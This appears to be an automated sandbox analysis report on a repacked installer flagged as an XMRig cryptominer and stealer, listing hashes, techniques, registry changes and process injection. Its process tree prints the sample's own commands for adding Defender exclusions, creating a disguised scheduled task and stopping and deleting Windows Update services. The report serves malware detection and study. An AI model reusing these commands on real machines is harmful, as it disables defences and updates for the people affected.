xmrig | 1f9202a7727a5b66b4045ed2a9d18b5beeeb6e711a9cad24646e1d97ae5ceec9

Analysis

max time kernel
152s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
26-09-2022 18:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

REPACK/setup.exe
Size

681.1MB
MD5

f57c9332808a063901254cd41eef7613
SHA1

67df58792e9a9d3c3d00e39753873fcf6ef2ae5f
SHA256

2b50d8d9acaab4c8679d87d37dda1e97464e3bdbb00c942277c58d7532098a50
SHA512

e032ca3899a93170f8a3e2d4be32deb66f21c5de02fc9f453bfd3709c0f54ff5eb75db58777ca1565dd57632b7c125de776b69737e8554761e1e15fd3b98e0eb
SSDEEP

393216:zKAhcUJ09+imj7+mmFygBWbln6eqOBZC517HNohLBn5Iv/vQ:2O090j7nmFVWhn/qOB8JiaQ

Score

10^/10

xmrig evasion miner spyware stealer upx

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs

Processes:

UNNAMED3.exechromeupdater.execonhost.exe

description	pid	process	target process
PID 4060 created 2984	4060	UNNAMED3.exe	Explorer.EXE
PID 4060 created 2984	4060	UNNAMED3.exe	Explorer.EXE
PID 4060 created 2984	4060	UNNAMED3.exe	Explorer.EXE
PID 4060 created 2984	4060	UNNAMED3.exe	Explorer.EXE
PID 4060 created 2984	4060	UNNAMED3.exe	Explorer.EXE
PID 4756 created 2984	4756	chromeupdater.exe	Explorer.EXE
PID 4756 created 2984	4756	chromeupdater.exe	Explorer.EXE
PID 4756 created 2984	4756	chromeupdater.exe	Explorer.EXE
PID 4756 created 2984	4756	chromeupdater.exe	Explorer.EXE
PID 4756 created 2984	4756	chromeupdater.exe	Explorer.EXE
PID 892 created 2984	892	conhost.exe	Explorer.EXE
PID 4756 created 2984	4756	chromeupdater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/680-226-0x00007FF7AE7D0000-0x00007FF7AEFC4000-memory.dmp	xmrig
behavioral2/memory/680-228-0x00007FF7AE7D0000-0x00007FF7AEFC4000-memory.dmp	xmrig

Drops file in Drivers directory 2 IoCs

Processes:

UNNAMED3.exechromeupdater.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts UNNAMED3.exe
File created C:\Windows\system32\drivers\etc\hosts chromeupdater.exe
Executes dropped EXE 6 IoCs

Processes:

UNNAMED.exeUNNAMED2.exeUNNAMED3.exeUNNAMED4.exeWindows Security Health Service.exechromeupdater.exe

pid process

4784 UNNAMED.exe
2608 UNNAMED2.exe
4060 UNNAMED3.exe
404 UNNAMED4.exe
1816 Windows Security Health Service.exe
4756 chromeupdater.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	UNNAMED3.exe
File created	C:\Windows\system32\drivers\etc\hosts	chromeupdater.exe

pid	process
4784	UNNAMED.exe
2608	UNNAMED2.exe
4060	UNNAMED3.exe
404	UNNAMED4.exe
1816	Windows Security Health Service.exe
4756	chromeupdater.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/680-226-0x00007FF7AE7D0000-0x00007FF7AEFC4000-memory.dmp	upx
behavioral2/memory/680-228-0x00007FF7AE7D0000-0x00007FF7AEFC4000-memory.dmp	upx

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

setup.exeUNNAMED4.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	setup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	UNNAMED4.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

UNNAMED3.exechromeupdater.exe

pid process

4060 UNNAMED3.exe
4060 UNNAMED3.exe
4756 chromeupdater.exe
4756 chromeupdater.exe

pid	process
4060	UNNAMED3.exe
4060	UNNAMED3.exe
4756	chromeupdater.exe
4756	chromeupdater.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

chromeupdater.exe

description	pid	process	target process
PID 4756 set thread context of 892	4756	chromeupdater.exe	conhost.exe
PID 4756 set thread context of 680	4756	chromeupdater.exe	svchost.exe

Drops file in Program Files directory 4 IoCs

Processes:

UNNAMED3.exechromeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Google\chromeupdater.exe	UNNAMED3.exe
File created	C:\Program Files\Google\Libs\WR64.sys	chromeupdater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4520 sc.exe
4936 sc.exe
1348 sc.exe
1556 sc.exe
1356 sc.exe
4044 sc.exe
2380 sc.exe
4716 sc.exe
2092 sc.exe
3420 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2096 schtasks.exe

pid	process
4520	sc.exe
4936	sc.exe
1348	sc.exe
1556	sc.exe
1356	sc.exe
4044	sc.exe
2380	sc.exe
4716	sc.exe
2092	sc.exe
3420	sc.exe

pid	process
2096	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeUNNAMED3.exepowershell.exepowershell.exepowershell.exechromeupdater.exepowershell.exepowershell.execonhost.exesvchost.exe

pid	process
4856	powershell.exe
4856	powershell.exe
4060	UNNAMED3.exe
4060	UNNAMED3.exe
4060	UNNAMED3.exe
4060	UNNAMED3.exe
5104	powershell.exe
5104	powershell.exe
4060	UNNAMED3.exe
4060	UNNAMED3.exe
4060	UNNAMED3.exe
4060	UNNAMED3.exe
2832	powershell.exe
2832	powershell.exe
4060	UNNAMED3.exe
4060	UNNAMED3.exe
4060	UNNAMED3.exe
4060	UNNAMED3.exe
3376	powershell.exe
3376	powershell.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
4344	powershell.exe
4344	powershell.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
1068	powershell.exe
1068	powershell.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
892	conhost.exe
892	conhost.exe
4756	chromeupdater.exe
4756	chromeupdater.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe
680	svchost.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

652

pid	process
652

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4856	powershell.exe
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeIncreaseQuotaPrivilege	2832	powershell.exe
Token: SeSecurityPrivilege	2832	powershell.exe
Token: SeTakeOwnershipPrivilege	2832	powershell.exe
Token: SeLoadDriverPrivilege	2832	powershell.exe
Token: SeSystemProfilePrivilege	2832	powershell.exe
Token: SeSystemtimePrivilege	2832	powershell.exe
Token: SeProfSingleProcessPrivilege	2832	powershell.exe
Token: SeIncBasePriorityPrivilege	2832	powershell.exe
Token: SeCreatePagefilePrivilege	2832	powershell.exe
Token: SeBackupPrivilege	2832	powershell.exe
Token: SeRestorePrivilege	2832	powershell.exe
Token: SeShutdownPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeSystemEnvironmentPrivilege	2832	powershell.exe
Token: SeRemoteShutdownPrivilege	2832	powershell.exe
Token: SeUndockPrivilege	2832	powershell.exe
Token: SeManageVolumePrivilege	2832	powershell.exe
Token: 33	2832	powershell.exe
Token: 34	2832	powershell.exe
Token: 35	2832	powershell.exe
Token: 36	2832	powershell.exe
Token: SeIncreaseQuotaPrivilege	2832	powershell.exe
Token: SeSecurityPrivilege	2832	powershell.exe
Token: SeTakeOwnershipPrivilege	2832	powershell.exe
Token: SeLoadDriverPrivilege	2832	powershell.exe
Token: SeSystemProfilePrivilege	2832	powershell.exe
Token: SeSystemtimePrivilege	2832	powershell.exe
Token: SeProfSingleProcessPrivilege	2832	powershell.exe
Token: SeIncBasePriorityPrivilege	2832	powershell.exe
Token: SeCreatePagefilePrivilege	2832	powershell.exe
Token: SeBackupPrivilege	2832	powershell.exe
Token: SeRestorePrivilege	2832	powershell.exe
Token: SeShutdownPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeSystemEnvironmentPrivilege	2832	powershell.exe
Token: SeRemoteShutdownPrivilege	2832	powershell.exe
Token: SeUndockPrivilege	2832	powershell.exe
Token: SeManageVolumePrivilege	2832	powershell.exe
Token: 33	2832	powershell.exe
Token: 34	2832	powershell.exe
Token: 35	2832	powershell.exe
Token: 36	2832	powershell.exe
Token: SeIncreaseQuotaPrivilege	2832	powershell.exe
Token: SeSecurityPrivilege	2832	powershell.exe
Token: SeTakeOwnershipPrivilege	2832	powershell.exe
Token: SeLoadDriverPrivilege	2832	powershell.exe
Token: SeSystemProfilePrivilege	2832	powershell.exe
Token: SeSystemtimePrivilege	2832	powershell.exe
Token: SeProfSingleProcessPrivilege	2832	powershell.exe
Token: SeIncBasePriorityPrivilege	2832	powershell.exe
Token: SeCreatePagefilePrivilege	2832	powershell.exe
Token: SeBackupPrivilege	2832	powershell.exe
Token: SeRestorePrivilege	2832	powershell.exe
Token: SeShutdownPrivilege	2832	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe
Token: SeSystemEnvironmentPrivilege	2832	powershell.exe
Token: SeRemoteShutdownPrivilege	2832	powershell.exe
Token: SeUndockPrivilege	2832	powershell.exe
Token: SeManageVolumePrivilege	2832	powershell.exe
Token: 33	2832	powershell.exe
Token: 34	2832	powershell.exe

Suspicious use of WriteProcessMemory 63 IoCs

Processes:

setup.exeUNNAMED4.execmd.execmd.exepowershell.execmd.exechromeupdater.execmd.exe

description	pid	process	target process
PID 4624 wrote to memory of 4856	4624	setup.exe	powershell.exe
PID 4624 wrote to memory of 4856	4624	setup.exe	powershell.exe
PID 4624 wrote to memory of 4784	4624	setup.exe	UNNAMED.exe
PID 4624 wrote to memory of 4784	4624	setup.exe	UNNAMED.exe
PID 4624 wrote to memory of 4784	4624	setup.exe	UNNAMED.exe
PID 4624 wrote to memory of 2608	4624	setup.exe	UNNAMED2.exe
PID 4624 wrote to memory of 2608	4624	setup.exe	UNNAMED2.exe
PID 4624 wrote to memory of 4060	4624	setup.exe	UNNAMED3.exe
PID 4624 wrote to memory of 4060	4624	setup.exe	UNNAMED3.exe
PID 4624 wrote to memory of 404	4624	setup.exe	UNNAMED4.exe
PID 4624 wrote to memory of 404	4624	setup.exe	UNNAMED4.exe
PID 404 wrote to memory of 2096	404	UNNAMED4.exe	schtasks.exe
PID 404 wrote to memory of 2096	404	UNNAMED4.exe	schtasks.exe
PID 404 wrote to memory of 1816	404	UNNAMED4.exe	Windows Security Health Service.exe
PID 404 wrote to memory of 1816	404	UNNAMED4.exe	Windows Security Health Service.exe
PID 3644 wrote to memory of 4716	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 4716	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 1348	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 1348	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 1556	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 1556	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 1356	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 1356	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 4044	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 4044	3644	cmd.exe	sc.exe
PID 3644 wrote to memory of 4224	3644	cmd.exe	reg.exe
PID 3644 wrote to memory of 4224	3644	cmd.exe	reg.exe
PID 3644 wrote to memory of 3048	3644	cmd.exe	reg.exe
PID 3644 wrote to memory of 3048	3644	cmd.exe	reg.exe
PID 3644 wrote to memory of 1752	3644	cmd.exe	reg.exe
PID 3644 wrote to memory of 1752	3644	cmd.exe	reg.exe
PID 3644 wrote to memory of 4508	3644	cmd.exe	reg.exe
PID 3644 wrote to memory of 4508	3644	cmd.exe	reg.exe
PID 3644 wrote to memory of 2164	3644	cmd.exe	reg.exe
PID 3644 wrote to memory of 2164	3644	cmd.exe	reg.exe
PID 3992 wrote to memory of 4476	3992	cmd.exe	choice.exe
PID 3992 wrote to memory of 4476	3992	cmd.exe	choice.exe
PID 3376 wrote to memory of 3820	3376	powershell.exe	schtasks.exe
PID 3376 wrote to memory of 3820	3376	powershell.exe	schtasks.exe
PID 4280 wrote to memory of 2092	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 2092	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 2380	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 2380	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 3420	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 3420	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 4520	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 4520	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 4936	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 4936	4280	cmd.exe	sc.exe
PID 4280 wrote to memory of 4416	4280	cmd.exe	reg.exe
PID 4280 wrote to memory of 4416	4280	cmd.exe	reg.exe
PID 4280 wrote to memory of 3020	4280	cmd.exe	reg.exe
PID 4280 wrote to memory of 3020	4280	cmd.exe	reg.exe
PID 4280 wrote to memory of 2600	4280	cmd.exe	reg.exe
PID 4280 wrote to memory of 2600	4280	cmd.exe	reg.exe
PID 4280 wrote to memory of 1856	4280	cmd.exe	reg.exe
PID 4280 wrote to memory of 1856	4280	cmd.exe	reg.exe
PID 4280 wrote to memory of 4536	4280	cmd.exe	reg.exe
PID 4280 wrote to memory of 4536	4280	cmd.exe	reg.exe
PID 4756 wrote to memory of 892	4756	chromeupdater.exe	conhost.exe
PID 1348 wrote to memory of 2432	1348	cmd.exe	WMIC.exe
PID 1348 wrote to memory of 2432	1348	cmd.exe	WMIC.exe
PID 4756 wrote to memory of 680	4756	chromeupdater.exe	svchost.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2984

C:\Users\Admin\AppData\Local\Temp\REPACK\setup.exe
"C:\Users\Admin\AppData\Local\Temp\REPACK\setup.exe"
2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4624

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdABrACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGIAaABzACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAaQB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHYAaABuACMAPgA="
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4856

C:\Users\Admin\AppData\Local\Temp\UNNAMED.exe
"C:\Users\Admin\AppData\Local\Temp\UNNAMED.exe"
3⤵
- Executes dropped EXE
PID:4784

C:\Users\Admin\AppData\Local\Temp\UNNAMED2.exe
"C:\Users\Admin\AppData\Local\Temp\UNNAMED2.exe"
3⤵
- Executes dropped EXE
PID:2608

C:\Users\Admin\AppData\Local\Temp\UNNAMED3.exe
"C:\Users\Admin\AppData\Local\Temp\UNNAMED3.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4060

C:\Users\Admin\AppData\Local\Temp\UNNAMED4.exe
"C:\Users\Admin\AppData\Local\Temp\UNNAMED4.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:404

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc minute /mo 1 /rl highest /tn Windows Security Health Service /tr "C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityHealthService\Windows Security Health Service.exe" /f
4⤵
- Creates scheduled task(s)
PID:2096

C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityHealthService\Windows Security Health Service.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\WindowsSecurityHealthService\Windows Security Health Service.exe"
4⤵
- Executes dropped EXE
PID:1816

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
PID:3644

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:4716

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1348

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1556

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:1356

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:4044

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:4224

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:3048

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
- Modifies security service
PID:1752

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4508

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:2164

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
